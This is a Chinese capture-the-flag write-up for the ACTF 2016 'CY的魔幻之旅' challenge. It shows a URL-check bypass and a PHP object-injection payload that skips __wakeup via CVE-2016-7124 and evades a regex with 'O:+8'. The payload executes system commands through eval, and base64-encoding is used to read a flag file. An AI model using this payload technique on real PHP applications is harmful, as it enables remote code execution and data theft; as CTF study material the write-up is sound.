CY的魔幻之旅(PHP 反序列化)题解
ACTF 2016 CY的魔幻之旅 (php反序列化)
0x01 审计代码
if(isset($_POST['url'])){
$url = $_POST['url'];
$check = check_url($url);
if($check){
$string = $_GET['string'];
aaa_unserialize($string);
}
}
表示要用POST提交一个url,并且经过check_url()检验合法之后才会执行aaa_unserialize()
function check_url($url){
$check = parse_url($url);
if(substr($url, 0, 21) !== "http://www.melodia.pw" || substr($url, 21, 1) === "@"){
die("NONONO");
}
if( stripos($url, '172') === FALSE && stripos($url, '192') === FALSE && stripos($url, '10') === FALSE && stripos($url, 'localhost') === FALSE && stripos($url, '127') === FALSE)
return $check["host"] === 'gov.cn';
else
return 0;
}
构造的url从0-21位必须是http://www.melodia.pw并且第22位不能是@,而且不能有172,192,10,localhost,127这些内网地址
并且通过parse_url()解析出来的host字段必须是gov.cn
于是我们就构造出一个合法的url:http://www.melodia.pws@gov.cn
然后通过GET提交反序列化的字符串
function __destruct()
{
eval($this->question2);
}
eval()函数在__destruct()函数里面,当对象被销毁的时候会自动执行question2里面的语句,所以我们需要想办法控制question2的值
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
然而这个__wakeup()方法会在反序列化之前被调用,会把对象里面的所有字段变成null
但是可以通过CVE-2016-7124进行绕过
CVE-2016-7124 漏洞
当序列化字符串中标明的属性个数大于实际对象属性个数时,unserialize() 函数在处理过程中会因错误而提前结束,导致 __wakeup() 魔术方法不被执行。但对象及其属性已经创建,因此后续的 __destruct() 等方法仍可能被触发
也就是O:8:"aaaClass":3改为O:8:"aaaClass":4
正则绕过
aaa_unserialize()函数中通过正则来匹配反序列化字符串里面的O:数字:和C:数字:
preg_match('/[oc]:\d+:/i', $value, $matches);
PHP 5.x可以改成O:+2:来绕过正则的匹配(+的编码是%2B)
0x02 利用过程
<?php
class aaaClass
{
private $question1 = '';
private $question2 = "system("id");";
private $answer = '';
// function __destruct()
// {
// eval($this->question2);
// }
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
function aaa_unserialize($value){
preg_match('/[oc]:\d+:/i', $value, $matches);
if (count($matches)){
return false;
}
return unserialize($value);
}
echo serialize(new aaaClass());
?>
把question2的值改成system("id");(不像ls,id这个命令一定是有回显的 btw, id的命令长度和ls相同 可以不用改长度直接替换成ls),测试是否能正常回显数据
O:%2B8:"aaaClass":4:{s:19:"%00aaaClass%00question1";s:0:"";s:19:"%00aaaClass%00question2";s:13:"system("id");";s:16:"%00aaaClass%00answer";s:0:"";}
成功,接着我们查看服务器的目录情况
flag.php index.php
发现flag.php就放在该目录下
于是cat flag.php 但是没有发现回显
cat flag.php|base64成功回显flag的base64
个人猜测是有过滤flag, AAA{等字段
教训就是下次读取flag等敏感信息的时候使用base64